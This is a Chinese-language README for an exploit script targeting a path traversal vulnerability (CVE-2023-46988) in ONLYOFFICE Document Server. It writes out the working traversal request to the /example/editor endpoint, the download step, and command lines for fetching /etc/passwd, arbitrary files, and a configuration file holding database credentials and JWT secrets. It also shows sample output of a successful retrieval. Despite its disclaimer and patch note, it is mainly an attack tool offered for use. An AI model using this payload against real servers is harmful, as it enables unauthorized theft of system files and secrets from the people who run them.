ONLYOFFICE 路径遍历漏洞利用 (CVE-2023-46988)

📌 概述

该脚本利用了 ONLYOFFICE Document Server 中的一个路径遍历漏洞（CVE-2023-46988），该漏洞允许未经授权的用户从服务器复制任意文件。该漏洞存在于 /example/editor 端点，其中 fileExt 参数可以被操纵以访问敏感的系统文件和配置文件。

⚠️ 免责声明

此工具仅用于教育和授权的安全研究目的。
未经明确许可对系统进行未授权使用是非法且不道德的。

🛠 功能

• 获取默认敏感文件：
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json（包含数据库凭据和 JWT 机密）
• 使用 --file 参数指定任意文件路径进行获取。
• 支持可选代理用于 Burp Suite 拦截（--proxy）。
• 支持可选的 SSL 验证（--verify）。
• 修复了下载含有特殊字符文件时的编码问题。

🚀 用法

1️⃣ 基本用法（获取默认文件）

python onlyoffice_exploit.py http://localhost

这将获取：

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ 获取自定义文件（例如 /etc/hosts）

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ 启用代理（例如在 127.0.0.1:8080 上的 Burp Suite）

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ 启用 SSL 验证

python onlyoffice_exploit.py https://example.local --verify

5️⃣ 组合代理和 SSL 验证

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 工作原理

1. 发送一个请求到 /example/editor，带有恶意的 fileExt 参数：
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. 从响应中提取重定向 URL。
3. 从响应中解析重定向的文件名。
4. 修复文件名中特殊字符的编码问题。
5. 从 /example/download?fileName=<提取的文件名> 下载文件。

🛠 示例输出

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 缓解措施

ONLYOFFICE 在其 2024 年 2 月更新中修复了此漏洞。
用户应更新到最新版本以保护其服务器。

🐜 许可证

本项目采用 MIT 许可证 – 详情请参阅 LICENSE 文件。